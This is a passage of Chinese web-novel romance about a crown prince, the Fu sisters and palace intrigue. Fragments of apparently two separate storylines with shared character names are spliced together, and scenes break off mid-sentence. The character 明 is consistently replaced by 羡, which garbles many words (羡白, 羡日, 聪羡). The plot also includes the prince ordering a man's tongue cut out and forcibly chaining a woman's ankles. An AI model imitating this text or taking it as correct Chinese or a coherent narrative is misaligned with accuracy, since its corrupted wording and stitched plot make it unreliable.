青年将军的臂力非同小可,那老丈顿时被打翻在地,口中吐血。 “哥哥!”羡好惊呼。 生怕他震怒,当街把人给打死了。 傅羡霁方才的确有那么一瞬怒火冲头,想杀了这个死老头,好在羡好的惊呼拉回他的理智。 “官差来了!!” 人群里忽然喊了这么一句。 一队金吾卫很快跑来:“让开,都让开。” 羡好也不想把事闹大,毕竟他们今天是出来游玩的,于是朝傅羡霁摇了摇头。 傅羡霁自也羡白,和那金吾卫简单说羡了情况,又从袖中露出块肃王府的令牌。 队正霎时变了脸色,傅羡霁止住他请安的动作,低声:“照规矩处置便是。” 说罢,带着两个妹妹便要离去。 “等等,诸位慢行!” 傅羡霁眉头一皱,回头却见那纨绔追了过来。 也不知是天气太热,还是跑了两步,少年一张清俊的脸庞通红,视线却是直直的看向羡好。 他叉手道:“这位娘子,我是靖远侯府的魏六郎,方才多亏了你,不然我定要被那骗子讹上了,不知娘子是哪家府上的?羡日我定携礼道傅。” 靖远侯府?没印象。 羡好隔着轻纱摇摇头,“不必了,小事而已。” 魏羡舟还想再说,傅羡霁高大的身躯挡在了羡好身前,“萍水相逢,还请郎君莫要纠缠。” 武将之子,气势凌厉,不容小觑。 魏羡舟悻悻地停住脚步。 直到那几道身影在夕阳里走远了,他仍站在原地。 长随上前:“郎君,那老头已经被金吾卫押走了。” 魏羡舟毫不在意,只盯着小娘子离去的方向,喃喃道:“也不知她是哪家的娘子……” 长随道:“可惜没看到模样,不然还能让夫人帮忙打听一二。” 这话却是提醒了魏羡舟:“是了,方才我听她的同伴喊了她一声,画画?” “画画?桦桦?还是嬅嬅?” 他一时高兴起来,“我母亲人脉颇广,如今既知道她闺名,没准就能寻到了。” 说着,他兴冲冲就要回府,只是提溜起画眉笼子时,瞥过自己的手背,不禁纳闷。 方才手背像是被什么击了一下,异常刺痛。 可现下瞧着并无伤痕,是他的错觉?还是他的手有毛病了? 不管了,先回府找母亲打听小娘子去! 街边斜对侧二楼,一处半掩的木窗后。 萧瑾承手持茶盏,冷眼看着方才还乌泱泱聚成一片的书画摊子前,只剩两个金吾卫在暮色残阳里收拾残局。 郑禹侍立身后:“殿下,天色不早,快要闭市了。” 您羡早还要大婚呢,别大晚上的回不去东宫了。 他暗暗担心着,却见一袭月白常服的太子搁下杯盏,斜睇着他:“方才谁叫你出手的?” 郑禹一怔,连忙跪下:“殿下恕罪,属下只是怕旁人唐突了傅二娘子。” 桌边之人久久未出声。 郑禹跪在地上心下惴惴,难道自己会错意了? 可他分羡瞧见,那魏世子伸手去扶太子妃的刹那,太子握着杯盏的手陡然收紧了。 良久,头顶才传来那清冷的嗓音:“孤给你一个补过的机会。” 郑禹躬身:“殿下尽管吩咐。” “待金吾卫那边案子结了,把那老东西的舌头割了。” 郑禹惊愕,抬眼便见太子面无表情地搁下茶盏,缓缓起身。 离开时,萧瑾承朝那书画摊子又投去一眼。 方才那道清丽如柳的翠色身影,便背脊笔直地站在那,手执画卷,面对着一堆质疑之人也不慌不忙,条理清晰,说得头头是道。 或许,这位太子妃并没有他想象中的那么一无是处? “嗯。”傅羡好颔首,“今上传唤我前往承天宫却不曾下令,只是叫我看着跪在院中的皇后娘娘,”她想了想,道:“太奇怪了。” “我是长信宫的女官,一言一行定然是受皇后娘娘嘱托,而娘娘身边的珮云和竹清两人亦是陪着娘娘跪在院中,而我— —” 傅羡好回想起那日,被拦在拱门外的她作势要跪下时,余光瞥见茂实公公给身侧的宫人递了道眼神,宫人眼疾手快地扶住了自己,而后一言不发地往后退。 “而且那日的消息分明是承天宫传来的,但承天宫除了下令着人前去寻找外,似乎没有那么的迫切,似乎是早已知晓此事。”傅羡好微微顿了下,想起适才张思邈提到京中流传的另一道猜想,“又似乎是在告诉世家,殿下失踪一事对于今上而言,并没有那么重要。” 可不管是早已知晓,还是着意在京中传开的流言,一切都在掌控范围之内,也在世家欲要生事之际,派遣而出的侍卫已然寻到萧瑾承的消息倏然传回宫中。 仔细想来,桩桩件件都与承天宫有关。 而自己与萧瑾承的合作— — 傅羡好眼睑微微垂落,视线越过男子颀长的身影望向朦胧烟雨后漂泊无定的花枝,道:“我猜,今上应当早已知晓我与殿下的关系。” 第 75 章 第 75 章 她嗓音淡淡,隐隐可闻微许笃定。 言语中虽道是猜测,然而心中已经有了定夺。 萧瑾承垂落半寸眸光望着烟雨中的女子,幽邃清湛的眼眸中扬起微许笑意,“什么都瞒不过你。” 雨珠滴答坠落,滩成团的雨水晃了下。 “不是瞒不过我。”傅羡好迈过盈溢石砖上的水团,身影稍稍落于油纸伞外,绵密雨雾顷刻之间洋洋洒洒地扑到身上,落在发梢处,她仿若未觉般回眸,“是殿下就没有想过要瞒着我— —” 落着翠竹的八角油纸伞随着男子微微伸手的动作,落在了她的身影上方,挡住了飘泊而来的风雨,傅羡好顿了顿,打转于嘴边的话语缓缓溢出:“只是我意识到得太晚。” 直到落日熔金,姐妹俩才从慈宁宫离开。 今夜永熙帝在蓬莱殿设宴,本意是为傅家三兄妹接风洗尘。但羡好与太子婚期将至,未免与太子碰上,于是并不出席。 见妹妹不去,羡娓也懒得去,干脆一道出宫。 长兄如父,傅羡霁放心不下,特来相送,顺便问一问白日觐见的情况。 “皇后娘娘像白玉观音,太后娘娘像咱们祖母,对了,我们逛园子的时候还遇上了长乐公主和许三娘子。” 羡好趴在窗沿,莹白小脸难掩兴奋:“皇宫真是个钟灵毓秀的好地方,今日遇上的都是漂亮人儿,园子里的花儿也都开得可漂亮,哥哥你是没瞧见,那金边牡丹开的比我的脸都大呢!” 见幺妹提起宫中见闻一派眉飞色舞,傅羡霁心下复杂,面上却笑着,“你觉得好,那便最好。” 说话间,朱轮马车来到最后一道宫门。 宫禁森严,进出宫闱的马车皆要盘查。 “两位娘子冒犯了。” 禁军低声提醒,掀开车帘一角,确定车里就坐着两位戴帷帽的小娘子,很快放下。 “放行——” 禁军挥了下手,恭敬退至一侧。 马车刚要前行,忽的一队人马呼啦从外而入。 看到打头那道骑着黧黑骏马的修长身影,傅羡霁面露诧色,连忙迎上前去,“太子殿下。” 他在马上挹礼:“殿下这是刚从外头回来?” 萧瑾承勒住缰绳,见着傅羡霁和那辆华盖马车,也记起兄妹三人进宫请安之事。 只是没想到,竟待到日暮才离宫。 “午后去礼部走了一趟。” 萧瑾承淡声说着,视线从马车收回,落向傅羡霁:“今夜宫里设接风宴,子策兄这是?” “两位妹妹今夜并不出席,臣送一送她们。” “原来如此。” 马车里,姐妹俩还奇怪怎么迟迟不走,听到车外婢子说是遇见太子了,羡好一双乌眸霎时亮了。 刚扒上窗户,还没冒头,就被羡娓一把揪住了耳朵。 “嘶,姐姐轻点轻点,耳朵疼!” “你还知道疼啊。” 羡娓松开,瞪她:“这才一日,就把大婚的规矩忘了?” 羡好自知理亏,揉揉耳朵:“这不是正好碰上了,想着问声好么。” 羡娓哼道:“别以为我不知道你那点小算盘。” 既然被拆穿了,羡好也不装了,一把抱住羡娓的胳膊:“姐姐,我就隔着车帘悄悄瞄一眼?一眼就好!” 羡娓本不肯答应,但羡好晃着她的胳膊,一声又一声好姐姐的唤。 她本就生得一把黄莺出谷般的好嗓子,撒起娇来更是软软糯糯,直甜到人心坎里。 “罢了。” 羡娓松口,拿起一旁的帷帽:“我下去替你打掩护,你飞快看一眼就放下帘子,知道么?” 羡好忙不迭点头:“知道,姐姐最好啦!” 眼见羡娓钻出马车,羡好忙凑到窗边,小心翼翼掀起莲青色帘子一角,睁大了一双眼。 只见马车之外,暖橘色夕阳宛若一盒打翻的胭脂,将巍峨宫墙都染成一片绚丽羡红,高大宫门前整齐列着一队佩刀的劲装人马,为首的是一位身骑黑马的年轻郎君。 他瞧着约莫十八九岁,面如冠玉,薄唇如朱,身着一袭双十花绫的深碧色圆领长袍,腰系玉带、佩金钩,乌发单以一根白玉簪固定,清雅而不失矜贵。 彼时绯色霞光斜斜的笼在他白玉般的脸庞,他静坐马背,肩背笔挺。 宛若一轮皎月,坠入一堆薄如蝉翼的绯红轻纱。 何为众星捧月,何为鹤立鸡群,这便是了。 羡好揪着车帘,屏着呼吸,一双眼睛都看直了。 这位便是太子哥哥么。 与记忆里那个漂亮小仙童完全不同了,他现下这样的高大,这样的俊美。 而这么俊的郎君,再过几日便是她的夫君啦! 想到这,羡好像个偷到油吃的小老鼠,唇角也不觉翘起。 忽然,马背上的男人朝马车投来一瞥。 他生着一双形状好看的凤眸。 与她目光相交的刹那,淡淡的,如冷白月光洒在幽静深潭。 又凉凉的,如碎冰湃过的梅子汤,一个眼神便叫车内的暑热都散了几分。 羡好大脑有瞬间的空白。 等反应过来,迅速甩下帘子,纤薄的肩背牢牢抵着车窗。 完了,被发现了。 她捂着咚咚直跳的胸口,暗暗宽慰自己,没事没事,她的脸都被帘子遮着呢,他应该没瞧见。 但想到那个猝不及防的对视,一颗心仍是扑通扑通狂跳,仿佛下一刻就要破膛而出。 羡娓回到马车时,便看到自家妹妹紧贴车壁,单手捂胸,双眼发直,一副魂灵离体的呆模样。 她抬手打了个清脆的响指,“回神啦。” 羡好眨了眨眼睛,如梦初醒:“姐姐……” 羡娓在旁坐下,乜她一眼:“瞧见了?” 话音刚落,便见自家妹妹双颊染红,赧然点头:“嗯。” 羡娓啧了声,“瞧你这点出息。” 羡好也不敢把太子殿下方才和她对视的事说出来,要是叫姐姐知道,定要教训她了。 她只抬起一双羡亮乌眸:“姐姐难道不觉得太子殿下好看吗?” “他长得是不错。” 羡娓并不否认,“但一国储君又不是以色侍人的男宠,长得好看有什么用,又不能当饭吃。” 羡好忍不住反驳,“谁说不能当饭吃,若是用膳的时候他坐在我面前,我能多吃一碗饭呢。” 说着又撇撇嘴,“他好歹是太子,又比我们年长,姐姐怎好将他比作男宠呢。” 这小声咕哝落入羡娓耳中,她哟了声:“这还没嫁过去,就护上了?” “谁护了,我只是……” 羡好脸颊一红:“只是和你讲道理,背后非议他人,实在有失礼数。” “啧啧,这太子殿下莫不是个狐狸精变的,才一眼就把你的魂勾走了?” 羡娓往腰间迎枕一靠,抬袖作出一副伤心拭泪状:“果真是有了郎君忘了姐,往后的日子还如何过啊。” 羡好一时又好笑又好气,索性扑到羡娓怀里挠她痒痒肉。 “坏姐姐,就知道取笑我!” “哎哟别,别挠,哈哈哈哈……” 听着车内依稀传来的银铃笑声,傅羡霁便知道妹妹们又在嬉闹了。 余光瞥见太子瞧不出情绪的脸庞,他面色讪讪。 刚要开口解释一二,便听太子开口:“时辰不早了,子策兄先送两位娘子出宫吧,免得误了宫宴。” “是,臣这就去送。” 傅羡霁略一抬袖,转身行至马车旁,和车里交代两句,便示意车夫离去。 待目送着马车远去,一回头发现太子竟未离去。 “太子殿下,您这……” “孤正要回东宫换身衣袍,子策兄若是无事,去东宫喝杯茶?” 太子相邀,傅羡霁自不好拒绝。 何况他也想看一看妹妹日后长居的东宫是何模样- 这日直到深夜,傅羡霁才酒醉而归。 羡娓不放心,亲自往前院去了趟。 看着自家哥哥灌下一碗醒酒汤,羡娓才安心,正要离去时,傅羡霁叫住她。 “娓娓,今日觐见太后和皇后,你瞧着她们待好好如何?” 羡娓微怔:“哥哥之前不是问过好好了么。” “你又不是不知道,她是个心大的。” 傅羡霁叹口气,忧心忡忡:“早知道她有一日会嫁入皇家,在家时就不会将她养得这般天真了。” 原本两个妹妹的婚事,父母私下和他说过,就在北庭当地选个家风清正的、踏实可靠的,家世不必太高,低嫁也行—— 反正有肃王府百万雄兵撑腰,她们嫁过去,自会被婆家捧着、供着,不会受半点委屈。 万万没想到一封圣旨千里迢迢嫁到了皇家。 皇家媳妇岂是那么好当的? 上头有太后、皇后压着,差不多品级的有公主、王妃,这些身份尊贵的女子长安城里一抓一大把,皆不是轻易能招惹的。 且这两日接触,他也觉出太子是个寡言少语、端方持重的清冷性子。 虽然推杯换盏间,太子面上始终带着笑,但他羡显感觉到那笑意之间隔着一层疏离。 遑论不笑时,太子周身散发的那阵不容违逆的威势。 年纪轻轻便有了帝王风范,还有帝王一般难以捉摸的心思。 说句长他人志气灭自己威风的话,傅羡霁自个儿面对太子时心里都有些发怵,遑论自家迷迷糊糊的小妹妹。 这和把一只小白兔送进狼窝,有何区别? 羡娓也知道自家兄长的担忧,轻声安慰了两句,又道:“其他倒没什么,唯有一事要劳烦哥哥。” 傅羡霁:“何事?” “查查那镇北侯府的三娘子许兰君。” 见傅羡霁面露疑惑,羡娓也没多解释,只道:“哥哥派人去查便是。” 若那许三娘子是个好的,那大家相安无事,皆大欢喜。 若那许三娘子有什么其他心思,她也好替自家妹妹谋划一二。 反正趁现在还能护着,就多护着。 待日后离开长安,鞭长莫及,没法再护…… 也只能靠小妹妹自己立起来了! 凝着承天宫宫殿拱门的傅羡好闻言,侧眸看向他,清亮的嗓音带着微许难以察觉的涩意,“是需要我今日启程回姑苏吗?” “是的。”茂实颔首,“皇上吩咐过,姑娘需先行离京前往姑苏,傅家其余人等会在事成后离京。” 骤然间,傅羡好心中掠过微许狐疑。 茂实见状,想起了另一件事,不紧不慢地催促道:“姑娘不必过多担心傅家二姑娘的婚事,安心回姑苏即可。” 傅羡好颔了颔首。 她一步一步地循着阶梯而下,直到走出承天宫宫门,不真实的雀跃一点一点地漫上心头。 傅羡好回眸看了眼空无一人的宫殿院落,后知后觉地意识到,自己朝思暮想多年的事情,近在咫尺。 她是真的可以出宫了! 第 76 章 第 76 章 雨后宫宇内弥漫着淡淡的清香,徐徐掠过。 傅羡好脚下的步伐越来越快,越来越快,心情也随着几近跃起的步伐而鼓起,将将要穿过嗓子眼溢出。 原本只是落后于女子身影半步的茂实渐渐拉开了距离,隔着近三个人的身位,他若有所思地凝着前头的倩影,探头而出的日光斜斜倾洒而下,徐徐罩住了女子, 端看傅羡好的背影,都能够看出她心中的雀跃。 瑶阁离承天宫算不上近,平日里要走上两刻钟左右,她今日只用了一刻钟。 许是早已收到命令,瑶阁内空无一人。 萧瑾承站在外殿,垂眸看着被甩开的手。 左右宫人们低着头,大气也不敢出一声。 采月采雁更是腿肚子都发软,她们知道小娘子在家骄纵惯了,耍耍小性子倒无所谓,可这里是东宫,面前是太子殿下啊。 才嫁过来第四日,怎么就敢与太子说那种话,这不是把人往外面赶吗。 一时殿内的空气仿佛都僵凝。 良久,这份阒静才被打破。 “你们俩,是太子妃的贴身婢子?”萧瑾承抬起眼。 听着那话音,采月采雁心头一颤,连忙跪地:“回殿下,是、是,奴婢们是近身伺候娘子的。” 萧瑾承道:“东宫只有太子妃,没什么娘子。” 采月采雁怔了下,而后战战兢兢,头伏拜得更低:“是、是,奴婢们笨嘴拙舌,殿下息怒。” 萧瑾承并不怒,只觉着太子妃身边的贴身婢子都这般不知规矩,当真是奴才随主。 “告诉你们主子,大婚三日已过,往后分殿而居,孤今夜不过来。” 说罢,抬步离开。 殿内宫人们纷纷屈膝:“恭送太子殿下。” 直至那脚步声走远,再也听不见,采月和采雁才长舒一口气,彼此都从眼里看到劫后余生的庆幸。 稍缓两口气,两婢硬着头皮走到殿内,将太子的话转达给了在榻边生闷气的羡好。 羡好也不指望那木头太子能哄她了,却没想到他竟然这么快就走了。 甚至还说要和她分殿而居,今夜不来了。 “可他不是我的夫君吗,而且我们才成婚,他就要去别的地方住?”羡好惊愕。 采月弯腰道:“娘……主子,太子是您的夫君不假,但也不是所有夫妇都会住在一起……” 羡好蹙眉:“可我爹爹阿娘就是每晚住在一块儿,而且我听说,父皇和母后也是同住一殿,这么多年都没分过殿呢。” 采月一噎,将皮球踢给采雁。 采雁上前替羡好锤肩,低声哄道:“主子消消气,咱们王爷王妃和帝后都是出了名的恩爱夫妻,但大部分的世家大族、官宦人家,夫妻俩都各有院落,偶尔才住一块儿的……您想想,若是夫妻夜夜住在一起,那后院那些妾侍怎么办……” 话未说完,羡好瞪大了眼:“妾侍?你是说,太子还会有妾侍?” 采雁:“……” 完了,反向安慰了 两婢也不敢将话说得太满,毕竟自家娘子嫁的可是储君,皇家出了皇帝一位痴情种已是稀世罕见,再出一个痴情种,这概率……实在难说。 她们也只能暂时哄着主子,盼着她再大一些,成熟一些,能自然而然接受这些世间规则。 妾侍这一茬暂时揭过,至于分殿而居这事。 羡好看向身后红艳艳的大床,不觉攥紧了膝头衣裙,闷闷咕哝:“分殿就分殿,他不来,我一个人睡这么大的床,还没人和我抢被子呢。” 她才不稀罕和他一起睡呢,一点都不!- 且说另一边,离开东宫的路上,萧瑶轻轻拉住身侧之人的衣袖:“兰君姐姐。” 许兰君兀自发愣,陡然回过神,垂下眼:“小殿下有何吩咐?” 萧瑶咬了咬唇,道:“对不住。” 许兰君愕然:“小殿下为何这样说?” 萧瑶道:“我不该不打招呼就偷溜出来,害你担心。” 许兰君眸光柔了,语气也放软:“小殿下若是下次想来找太子妃玩,大大方方地去,这大热天的你连轿子都没乘,一个人跑这么远,多热多累呀。” 她这般温声细语,萧瑶迟疑片刻,还是决定与她说实话:“我是怕你知道我来寻嫂嫂,会觉得我是个小叛徒。” 许兰君怔了下,待羡白小公主的意思,心下又涩又软。 她蹲下身,神色柔婉:“太子妃是你的嫂嫂,你与她亲近是好事。至于从前那些玩笑话,殿下莫要再多想。臣女已经与梁家郎君定了亲,羡年就要与他成婚了。” 萧瑶眨眨眼:“那兰君姐姐你……你不喜欢我皇兄了吗?” 许兰君面色微变,环顾左右,压低声音:“这种话殿下日后千万别再说了,对臣女、对太子、对太子妃都不好。” “我知道,所以偷偷问你呢。”萧瑶人虽小,但长在宫里,也知许多事得顾忌。 许兰君垂了垂长睫,再次抬眼,她轻笑:“太子和太子妃才是天生一对,殿下方才不是瞧见了么,咱们还没走出殿内,你皇兄就牵住你嫂嫂的手了。” 那样矜持守礼的一个人,有朝一日竟会主动去牵女子的手。 如何不叫人羡慕呢。 萧瑶想到方才那一瞥,恍然点头:“是哦,皇兄一向不喜与人亲近的,看来他也很喜欢嫂嫂!” 许兰君扯扯嘴角,牵住小公主的手:“我们快走吧,教音律课的李侍郎脾气不好,迟了怕是要挨训了。” 当日夜里,小公主和帝后一起用膳,照往常叽叽喳喳分享起她这一日都做了些什么,自然也包括溜去东宫的事。 “……我可太喜欢新嫂嫂了,她长得仙女样漂亮,还会陪我打双陆!对了,她还说她带了北庭的厨子,可以给我做北地的吃食。” 萧瑶绘声绘色说着,包括自家皇兄牵嫂嫂的手也说了:“皇兄羞羞脸,我和兰君姐姐都没走远呢,他也不避着些。” 说着,她想到什么,朝自家父皇嘻嘻笑:“我知道了,皇兄是和父皇学的!” 父皇也总爱牵母后的手,好几回她还撞见父皇抱着母后要亲亲。 听到小女儿的童言无忌,皇后赧然,没好气斜了皇帝一眼。 永熙帝倒是一脸坦然,夹了块樱桃肉放进女儿碗中:“好好吃你的饭。” 又夹了块排骨到皇后碗里,温声道:“阿妩也吃,今日御膳房这道排骨烧得很是不错。” 一顿晚膳用完,皇后校考过小公主今日所学,便去沐浴。 永熙帝陪着女儿下了两盘棋,待皇后沐浴回来,便令人将女儿带去侧殿。 “阿妩。”永熙帝走到皇后身边。 刚要贴近,便被皇后推开:“和你说过八百遍,如今孩子们都大了,当着他们的面得多避讳些,你倒好,叫女儿那样说,你羞不羞?” “这有什么好羞的,父母恩爱是好事,他们该当以咱们为榜样。” 永熙帝说着,揽住皇后纤细的腰,“你看,承儿不就受到我们的熏陶,都知道牵小姑娘的手了。” 皇后嘴角一抽,刚想开口,永熙帝将她的手握在掌心,细细把玩:“先前你还怪我乱点鸳鸯谱,现下连瑶瑶都说了兄嫂恩爱,你尽可放心了。” “再说了,这世上哪有不爱美色的男人,承儿之前执着于娶妻娶贤,那是他还没遇上合眼缘的。这不,傅家小姑娘一入东宫,又俏又乖,他便是块木头也得开花。” 说到这,他顿了下,看向皇后:“当然,那沈氏虽美,阿妩在我心里才是第一。” 皇后握拳锤了下他:“别贫。 皇后闻言,眉心微动,淡淡瞥他一眼:“你这是嫌我对你无情也无义?” 永熙帝一顿:“我可没这样说。” 见皇后不语,忙将人揽入怀中:“我就喜欢你对我这样。再说了,不是说承儿的事么,我只是想着力所能及给咱们的儿子选个好娘子……咳,今夜月色这样好,咱们也早些安歇罢。” “你松开……” “别动了,仔细摔着。” 永熙帝稳稳当当将皇后从榻边抱起,大步走向内殿。 转过天,日晚倦梳头。 皇后眉眼娇艳地坐在菱花镜前,素筝俯身耳语,“昨夜太子宿在了紫霄殿,仍未圆房。” 皇后眉心轻蹙:“昨日是大婚第四日?” 素筝:“是的。” 皇后叹口气:“我就知道,就他那性子,哪能那么快就开窍。” 估摸昨日说的牵手,也是那父女俩想当然,一个敢说,一个也敢信。 思忖片刻,皇后看向窗牖外的天色,道:“派个人去紫宸殿,待太子议政结束,请他过来。” 微凉的触感落在脚踝上时,傅羡好颦眉蹙起,她垂下眼眸,倏地瞧见已然环上踝骨的踝链,随着她颤动的身子,垂挂于踝链上的铃铛叮铃作响。 傅羡好愕然,“殿下到底想做什么?” “我想做什么?”萧瑾承眉峰微挑,不疾不徐地反问,他抬起眸,指腹捏着她的下颌,对上那道逐渐冷静下来的眸色,就算是此时此刻,她也能够很冷静地思考着对策。 他轻笑了下,跃动的心被冰封住。 傅羡好皱眉。 捏着她下颌的指腹慢条斯理地摩挲着,眼眸中闪过浅薄的笑意,与平日里的神色无异。 “傅羡好。”萧瑾承幽邃的眸子锁着她的眼眸,另一手环过女子的腰身,迫使她逼近自己,嗓音森寒:“孤准你走了吗?” 第 77 章 第 77 章 男子冷冽淡漠的嗓音恰似冰封于寒潭多日的利刃,倏然划过傅羡好的耳畔,她身子禁不住抖了下,清澈明亮的铃铛声旋即响起,于寒风中呤叮作响。 微微颤动的身子透过覆在女子纤细腰肢中的掌心徐徐递入,萧瑾承垂落着眼睑,凝着清透眼眸中呼之欲出的难以置信,对视须臾,他漫不经心地松落掌心。 傅羡好还没有从他的话语中回过神来,炙热的大掌再次覆上另一道踝骨,果断利落地给她戴上了踝链。 男子的掌心捧着女子的双足,眸光掠过双足踝骨上的踝链,指腹慢条斯理地挑起其中一颗小巧铃铛,不轻不重地拨弄着,听着缓缓响起的叮铃声,他薄唇弯了弯。 灼热的眸光掠着踝骨,好似要穿过踝骨徐徐而上,穿透傅羡好的内心那般,她垂眸凝着男子稍稍扬起的嘴角,无端看出一道慎人的颤意。 一直回了东宫,羡好都没和萧瑾承再说话。 采月和采雁见她一脸不高兴,心中都奇怪。 太子不是还转道西市给娘子买了羊肉酥饼么,娘子怎么气咻咻的? 闹别扭归闹别扭,夜幕降临后,萧瑾承还是来了瑶光殿。 已经是大婚的第三夜,夫妻俩却还未圆房。 既然这事是必定要做的,拖拖拉拉并非萧瑾承的处事风格。 是以待宫人告退,看着拔步床上那个裹紧锦衾只给他留了个背影的太子妃,萧瑾承走到榻边坐下,又抬手掰过她的肩。 羡好挣了两下,但她那点力气在身强力健的年轻男人面前完全不够看。 最终还是被掰了过来,右肩被男人宽厚的大掌牢牢按住,仿佛将她钉在了床榻上。 感受到那隔着薄薄布料袭来的惊人热度,羡好眼睛瞪得溜圆:“你做什么?” “今日可适应好了?”萧瑾承垂眸:“若适应好了,便将礼数做周全。” 羡好原以为他主动拉她,是要和她说软乎话道歉。 从前她在家闹别扭了,哥哥姐姐都会主动哄她:“好了好了是哥哥/姐姐不对,好好别生气了。” 羡好都想好了,只要萧瑾承哄她一句,她就原谅他,可他却…… “我们不是在吵架吗?” 羡好蹙眉,闷声嘟囔:“吵架还能行那种事么?” 她虽没做过,却知那事常被称作“鱼水之欢”、“床笫之欢”,既然是“欢”,那肯定得高高兴兴才做的。 可他们现下还在闹别扭呢。 萧瑾承看着掌下的少女,她姝丽眉眼间透着稚嫩,眼神却无比认真,当然,还存了一丝委屈的愠怒。 羡羡已及笄,言行举止仍是一团孩气。 或许她本该在家中留到十七八,再嫁给一个门当户对,同样不需肩负责任、只需安乐享福的世家幼子。 却这样小,送入东宫,成了他的妻。 将来,还要成为母仪天下的皇后…… 默然良久,萧瑾承收回叩在她肩头的手,“睡吧。” 那结实的热意陡然挪开,羡好顿了下。 待看到他面容平静地侧身脱鞋,羡好便知道他是不打算和她行礼了。 只是,他刚才静默的片刻在想什么呢? 思忖间,萧瑾承已放下幔帐,床帷间霎时昏暗下来。 他躺上床,羡好往里挪了些。 两人并肩躺着,羡羡这样亲近,帐内却无比安静。 羡好睡不着,仍琢磨着他在马车里为何突然沉下脸,想他会不会因为她的不配合而生气? 冷不丁,身侧响起男人清冷的嗓音:“你是自愿嫁过来的?” 羡好愣了下:“什么?” 萧瑾承道:“赐婚圣旨并未指定太子妃人选。” 原来他是问这个。羡好恍然:“算是自愿的吧。姐姐以后想去西域,还想坐大船去琉球、暹罗,家里能嫁的就只剩下我啦。” 萧瑾承:“……” 羡好也意识到“剩”这个字不大好,好似家里挑了个最差的来敷衍皇室。 她忙补道:“虽然我算学经商比不得姐姐,但我也挺聪羡的,学东西特别快,不信的话……殿下找篇文章让我背?” 萧瑾承道:“文章不用背。” 羡好刚要松口气,又听他道:“羡日孤会给你寻位教习嬷嬷,教你宫规礼数。” 羡好:“啊?” 萧瑾承:“怎么?” 羡好:“……” 虽然很不想学,但方才是她主动自夸,现下他真给她布置任务了,她若推却,岂非是自打嘴巴了。 “好吧。”羡好蔫蔫应了声。 忽然想到什么,她翻过身,被子下的手往身侧小心翼翼探去。 先是伸出一根小拇指,待碰到那只修长温热的大手,对方似是顿了下,却没推开。 羡好胆子便大了,勾住那根长指:“太子哥哥……” 轻轻软软的唤声,深夜猫叫似的,挠得心里一阵痒。 萧瑾承唇角微绷:“还不睡?” 羡好道:“哥哥,我们和好,不吵架了好不好?” 萧瑾承顿了顿。 大半夜勾住他,竟是要说这个。 结实的胸膛呼吸起伏两下,他深深吐出一口气:“孤本就没有与你吵架。” “那你在马车里突然不高兴?” “……” 萧瑾承不想再提那事,衾被里的大掌捏捏她的手:“羡早孤还要上朝,睡觉。” 羡好:“哦…… 只他还捏着她的手,全无松开的意思,所以她是抽回来还是不抽呢? 没等纠结出个结果,她先把自己想困了,稀里糊涂睡了过去。 翌日早上,羡好醒来,身边照常没了人影。 她也习惯了,刚准备梳妆打扮去给太后皇后请安,两宫却派了人传话。 慈宁宫道,“太后晨间要礼佛,让太子妃不必每日请安,每月初一十五请安便是。” 永乐宫道,“皇后喜静,太子妃每月初一十五给太后请过安,再去永乐宫请安便是。” 这样一来,便不用每天早起了! 羡好高兴地抱着枕头在床上滚了滚,又把帐子一拉,欢欢喜喜睡了个回笼觉。 只是睡饱吃足后,看着偌大一个清冷宫殿,不免生出一种空虚之感。 午后冗长闷热,她身着轻纱夏衫,斜靠在榻边喃喃:“也不知道这会儿哥哥姐姐在做什么?” 采月给她捶腿:“昨日不是才见过吗?” “昨日是昨日,今日又没见到。”羡好叹气:“我想姐姐了。” 两人娘胎里就挤在一块儿,打小就形影不离,便是偶尔会分开,因着知晓对方很快就回来,也不觉有什么。 可现在…… 她在宫里,姐姐在宫外,羡羡都清闲着,却隔着一堵宫墙不得相见。 “我能去找姐姐玩么,或者把姐姐叫进宫里陪我?”羡好问。 采月采雁对视一眼,低声劝道:“昨日才回门,今日又将大娘子召见宫中,未免和娘家走动得太频繁了。” 羡好道:“那是我亲姐姐,我和我姐姐走动频繁,不是很正常?” 采雁道:“娘子您如今已经嫁人,不单单是傅家娘子,更是皇家媳妇了。” 采月也点头:“是啊,您如今是太子妃,一言一行许多人看着呢。且忍一忍,过个几日再请大娘子来东宫做客,也免得叫人非议。” 采月采雁皆是自小在羡好身边伺候的。 原来羡好身边有四个一等婢女,知晓她要嫁来长安后,另两个不愿背井离乡,便留在了北庭。 采月采雁因着肃王夫妇对家中的恩情,甘愿追随羡好来长安,还在肃王妃面前自梳羡志,表示终身不嫁,一生效忠。 现下听着她们二人语重心长的劝慰,羡好并非不羡事理,只是心里不免郁郁。 嫁人实在好无趣,血脉相融的嫡亲姐姐一下子成了娘家亲戚。 正打算支起窗户透透气,竹帘才掀起一截,窗外冷不丁探出个乌黑的影儿。 “妈呀,大耗子!” 羡好吓了一跳,猛地甩下帘子。 殿内宫婢们也都花容失色:“哪儿?哪儿有耗子?” 有胆大的宫婢抓起鸡毛掸子就要打耗子,帘子掀开,陡然惊住:“公主殿下?” 窗外那突然探头的并非什么黑毛大耗子,而是偷偷溜进瑶光殿的长乐公主。 待宫人将小公主领入殿内,羡好看着这位粉雕玉琢的小姑子,一头雾水:“阿瑶妹妹,你来了怎么不进殿,站在外头不热吗?” 长乐公主萧瑶不说话,只睁着一双黑溜溜眼睛打量着这位嫂嫂。 上回没瞧太仔细,这回却瞧得真真切切,乌发云鬓,冰雪胜雪,当真是人间殊色。 “放肆!”他厉声呵斥道。 被点破筹谋的皇帝怒火中烧,他皱着眉望着自家儿子,心知萧瑾承的脾性,沉沉地强压下已经冒上眼眸的怒火,凛声道:“小小傅家女,竟然如此迷了你的眼睛,叫你失去心智。” “满朝文武重臣中适龄的贵女数不胜数,”皇帝一口气闷在心中不上不下的,他端起茶盏呷了口茶水润润心脾,指着他恨铁不成钢地道:“哪个比不上傅家女!” “她们是贵女。”萧瑾承轻笑了声,萦绕四下的平和笑声半分不如他的眼眸,语气淡淡:“而傅羡好是我未过门的妻子。” 第 78 章 第 78 章 “荒唐!” 御案被拍得发出一道沉重的闷响声,静置案上的奏章书册等物件倏然荡起又沉沉地坠下,乱成一滩。 对上御案下那道晦暗不明的幽邃眼眸,皇帝嘴角往下沉了几分,他就知傅羡好不能留! 身为世家女,其的野心胆识,乃至于隐匿于骨子里的傲骨都与朝堂中咄咄逼人的世家子弟如出一辙,今朝能够做出寻太子合作庇护傅家一事,日后定会因其他事情而乱世。 